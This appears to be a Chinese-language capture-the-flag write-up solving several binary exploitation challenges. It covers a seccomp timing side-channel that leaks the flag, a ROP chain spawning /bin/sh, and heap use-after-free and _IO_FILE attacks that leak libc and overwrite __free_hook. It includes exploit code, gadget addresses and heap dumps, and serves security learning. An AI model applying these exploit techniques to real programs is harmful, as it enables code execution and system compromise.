how2know

可以看到保護機制有用 seccomp 限制除了 `exit` 以外的 system call，以及 PIE 是開啟的，所以要把 flag 寫到 standard output 是不可行的。

我的作法是一次取 flag 的一個 byte 出來比較，嘗試所有可能，只要相同就讓程式卡在一個 infinte loop，等待時間超過一個 threshold 就代表確定找到那個 byte。
(此方法參考自: PWN题中常见的seccomp绕过方法)

由於有開啟 PIE，所以要先找出 base address。在 call `((void(*)())addr)()` 後，會把 return address push 進 stack 裡，加上用 objdump 找到下一個指令跟 flag 的 offset 就能計算出執行時 flag 的 address。

```
mov rcx, qword ptr [rsp]   # return address
sub rcx, 0x13dc            # base address
add rcx, 0x4040            # flag address
```

最後一次取一個 byte `flag[idx]` 出來比較，只要跟 `b` 相同就卡住

```
movzx eax, byte ptr [rcx+{idx}]
cmp al, {b}
je $-0x2
```

跑遍所有可能就得到完整的 flag。

---

rop++

用 ROP 來取得 shell，目標是去執行 `execve("/bin/sh", NULL, NULL)`

`checksec` 看到有 canary，但去看 main function 的 assembly code 沒有用到，所以不成問題，另外有注意到 `buf` 實際分配了 `0x20` 的大小，接著就是找出有用的 gadgets。

`execve` 的第一個參數要是一個指標指向字串 `"/bin/sh"`，字串塞進 stack 後要想辦法得到他的 address，但我找不到相關的指令，所以改成把字串放到一個可以寫入的固定位置。最後是把他寫到 .bss section 的起始位置，然後 `syscall`。

```
bss_addr = 0x4c72a0         # .bss section

mov_ptr_rsi_rdx = 0x48cfe5  # mov eax, 1 ; mov qword ptr [rsi], rdx ; ret
pop_rax_ret = 0x447b27      # pop rax ; ret
pop_rdi_ret = 0x401e3f      # pop rdi ; ret
pop_rsi_ret = 0x409e6e      # pop rsi ; ret
pop_rdx_rbx_ret = 0x47ed0b  # pop rdx ; pop rbx ; ret
syscall_ret = 0x414506      # syscall ; ret

ROP = flat(
    # write "/bin/sh" to .bss
    pop_rdx_rbx_ret, b"/bin/sh\x00", 0,
    pop_rsi_ret, bss_addr,
    mov_ptr_rsi_rdx,

    # execve("/bin/sh", NULL, NULL)
    pop_rax_ret, 0x3b,
    pop_rdi_ret, bss_addr,
    pop_rsi_ret, 0,
    pop_rdx_rbx_ret, 0, 0,
    syscall_ret
)
```

babyums (flag1)

`del_user()` 中有 UAF 可以利用，然後要想辦法印出 `users[0]->data`

1. `del_user(0)`，這樣 `users[0]` 這個 chunk 會放到 tcache 裡。
2. `edit_data(0, 0x20, b"A"*0x10)`，取出剛才放進 tcache 裡的 chunk，塞 `0x10` 個非 `\0` 進去，讓 `printf` 印出 `users[0]->name` 時會把 data 順便印出。
3. `show_user()`，印出 flag。

---

babyums (flag2)

這次要想辦法 leak 出 libc 的 base address，然後利用 `__free_hook` 執行 `system("/bin/sh")`。

解法跟 LAB babynote 一樣。

先堆 heap

```
Chunk(addr=0x555555559010, size=0x290, flags=PREV_INUSE)
    [0x0000555555559010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE) users[0]
    [0x00005555555592a0     61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00    admin...........]
Chunk(addr=0x5555555592d0, size=0x420, flags=PREV_INUSE) users[0]→ data
    [0x00005555555592d0     41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    A...............]
Chunk(addr=0x5555555596f0, size=0x30, flags=PREV_INUSE) users[1]
    [0x00005555555596f0     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555559720, size=0x20, flags=PREV_INUSE) users[1]→ data
    [0x0000555555559720     42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    B...............]
Chunk(addr=0x555555559740, size=0x30, flags=PREV_INUSE) users[2]
    [0x0000555555559740     43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43    CCCCCCCCCCCCCCCC]
Chunk(addr=0x555555559770, size=0x208a0, flags=PREV_INUSE)
    [0x0000555555559770     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x555555559770, size=0x208a0, flags=PREV_INUSE)  ← top chunk
```

接著 delete admin，`users[0]` 這個 chunk 放進 tcache 中，`users[0]->data` 會放進 unsorted bin 中，並更新 `fd` 及 `bk` pointer，此時 `fd` 指向 `<main_arena+96>`。

```
gef➤  heap chunks
gef➤  x/4gx 0x5555555592d0
0x5555555592d0: 0x00007ffff7fb0be0      0x00007ffff7fb0be0
0x5555555592e0: 0x0000000000000000      0x0000000000000000
gef➤  x/4gx 0x00007ffff7fb0be0
0x7ffff7fb0be0 <main_arena+96>: 0x0000555555559760      0x0000000000000000
0x7ffff7fb0bf0 <main_arena+112>:        0x00005555555592c0      0x00005555555592c0
gef➤
```

印出 `fd` 計算 libc base address、`__free_hook`、`system` 位址。

```
# main_arena+96 = libc base + __malloc_hook offset+10+96 = libc base + 0x1ecbe0
libc = u64(r.recv(6).ljust(8, b"\x00")) - 0x1ecbe0
free_hook = libc + 0x1eee48
system = libc + 0x52290
```

接著用預先分配好的 chunks 及 `edit_data` 的 heap overflow，寫 `/bin/sh` 到 `users[1]->data` 指向的位址和寫 `__free_hook` 的位址到 `users[2]->data`。

最後把 system 的位址寫到 `users[2]->data` 指向的位址，delete `users[1]`，成功 call `system("/bin/sh")`。

miniums

目標是利用 `__free_hook` call `system("/bin/sh")`。

先堆 heap

```
Chunk(addr=0x555555559010, size=0x290, flags=PREV_INUSE)
    [0x0000555555559010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE) users[0]
    [0x00005555555592a0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA]
Chunk(addr=0x5555555592d0, size=0x1e0, flags=PREV_INUSE) users[0]->data (IO_FILE)
    [0x00005555555592d0     80 2c ad fb 00 00 00 00 d0 94 55 55 55 55 00 00    .,........UUUU..]
Chunk(addr=0x5555555594b0, size=0x20, flags=PREV_INUSE) temp buf
    [0x00005555555594b0     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB]
Chunk(addr=0x5555555594d0, size=0x1010, flags=PREV_INUSE) IO_FILE buf
    [0x00005555555594d0     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB]
Chunk(addr=0x55555555a4e0, size=0x30, flags=PREV_INUSE) users[1]
    [0x000055555555a4e0     43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43    CCCCCCCCCCCCCCCC]
Chunk(addr=0x55555555a510, size=0x1fb00, flags=PREV_INUSE)
    [0x000055555555a510     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x55555555a510, size=0x1fb00, flags=PREV_INUSE)  ← top chunk
```

為了要 leak libc base address，先 free 一次 `users[0]`：

- `users[0]->data` 指向的 `_IO_FILE` 會放進 tcache 裡，這時 `_IO_FILE` 中的 `flag`, `_IO_read_ptr` 會被修改到。
- `_IO_FILE` 的 buffer 會放進 unsorted bin 裡，寫上 `fd`, `bk`。

接著 `edit_data(1, 0x18, b"Z")`，`users[1]->data` 取出剛才放進 tcache 的 `users[0]->data`，並請求一個 `0x20` 大小的 chunk，這個 chunk 會從剛才放進 unsorted bin 的 buffer 挖一塊出來，裡面會有 `fd` 跟 `bk`，寫一個 byte `Z` 蓋掉 `fd` 的最後一個 byte，這不影響計算 offset，最後 `fd` 會 copy 到新分配出來的 `_IO_FILE` buffer 中。

```
Chunk(addr=0x555555559010, size=0x290, flags=PREV_INUSE)
    [0x0000555555559010     00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE) users[0]
    [0x00005555555592a0     00 00 00 00 00 00 00 00 10 90 55 55 55 55 00 00    ..........UUUU..]
Chunk(addr=0x5555555592d0, size=0x1e0, flags=PREV_INUSE) IO_FILE
    [0x00005555555592d0     80 2c ad fb 00 00 00 00 10 a5 55 55 55 55 00 00    .,........UUUU..]
Chunk(addr=0x5555555594b0, size=0x20, flags=PREV_INUSE) temp buf
    [0x00005555555594b0     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB]
Chunk(addr=0x5555555594d0, size=0x20, flags=PREV_INUSE) temp buf
    [0x00005555555594d0     5a 12 fb f7 ff 7f 00 00 00 12 fb f7 ff 7f 00 00    Z...............]
Chunk(addr=0x5555555594f0, size=0xff0, flags=PREV_INUSE) free space
    [0x00005555555594f0     f0 11 fb f7 ff 7f 00 00 f0 11 fb f7 ff 7f 00 00    ................]
Chunk(addr=0x55555555a4e0, size=0x30, flags=! PREV_INUSE) users[1]
    [0x000055555555a4e0     43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43    CCCCCCCCCCCCCCCC]
Chunk(addr=0x55555555a510, size=0x1010, flags=PREV_INUSE) IO_FILE buf
    [0x000055555555a510     fd 5a 12 fb f7 ff 7f 00 00 00 12 fb f7 ff 7f 00    Z...............]
Chunk(addr=0x55555555b520, size=0x1eaf0, flags=PREV_INUSE)
    [0x000055555555b520     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x55555555b520, size=0x1eaf0, flags=PREV_INUSE)  ← top chunk
```

`show_users()` 就會印出 `<main_arena+1754>` 的位址，算出 `__free_hook`、`system` 的位址

```
r.recvuntil(b"data: ")
libc = u64(r.recv(6).ljust(8, b"\x00")) - 0x5a - 0x1ed200
free_hook = libc + 0x1eee48
system = libc + 0x52290
```

得到位址後要把 `system` 的位址寫到 `__free_hook` 指向的位址。
先 free `users[1]` 讓 `_IO_FILE` 進 tcache 再做 edit。由於 `users[1]->data` 不為 `NULL` 所以不會分配新的 `_IO_FILE`，接著請求 `0x1e0` 大小的 chunk 就會從 tcache 中取出剛才放進的 `_IO_FILE`，並有辦法對他做修改。

要寫入的東西如下，讓 `_IO_buf_base` 跟 `_IO_buf_end` 指向 `__free_hook` 指向的 8 bytes 空間。最後再 edit 一次並給 `system` 的位址，就會 copy 到 `_IO_FILE` 的 buffer 中，也就是 `__free_hook` 指向的位址。

```
data = p64(0xfbad0000)
data += p64(free_hook) * 0x7
data += p64(free_hook + 0x8)

del_user(1)
```

```
edit_data(1, 0x1d8, data)
edit_data(1, 0x18, p64(system))
```

`__free_hook` 處理完後 call `free("/bin/sh")` 就成功了。

```
add_user(0, b"/bin/sh")
del_user(0)
```